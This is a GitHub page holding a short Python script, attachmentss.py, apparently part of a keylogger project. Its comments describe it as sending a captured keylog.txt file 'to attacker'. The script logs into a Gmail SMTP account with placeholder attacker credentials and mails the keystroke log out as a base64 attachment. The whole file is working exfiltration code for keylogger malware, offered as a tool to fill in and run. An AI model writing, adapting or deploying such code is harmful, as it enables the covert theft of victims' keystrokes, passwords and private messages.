-
Notifications
You must be signed in to change notification settings - Fork 2
/
attachmentss.py
47 lines (40 loc) · 1.26 KB
/
attachmentss.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
# import libaries for sending emails
import smtplib
from email import encoders
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
# keylog file being sent to attacker
files_to_send = [
"keylog.txt",
]
# function to initiate connection to SMTP server
def send_mail(email, password, TO, msg):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, TO, msg.as_string())
server.quit()
# change these to attacker email/password
email = "k**********4@gmail.com"
password = "K********?"
TO = "k**********4@gmail.com"
subject = ""
# edit the text field and insert into body of email
msg = MIMEMultipart()
msg["From"] = email
msg["To"] = TO
msg["Subject"] = subject
text = ""
msg.attach(MIMEText(text, "plain"))
# attaches file to the email
for file in files_to_send:
with open(file, "rb") as f:
data = f.read()
attach_part = MIMEBase("application", "octet-stream")
attach_part.set_payload(data)
encoders.encode_base64(attach_part)
attach_part.add_header("Content-Disposition", f"attachment; filename= {file}")
msg.attach(attach_part)
send_mail(email, password, TO, msg)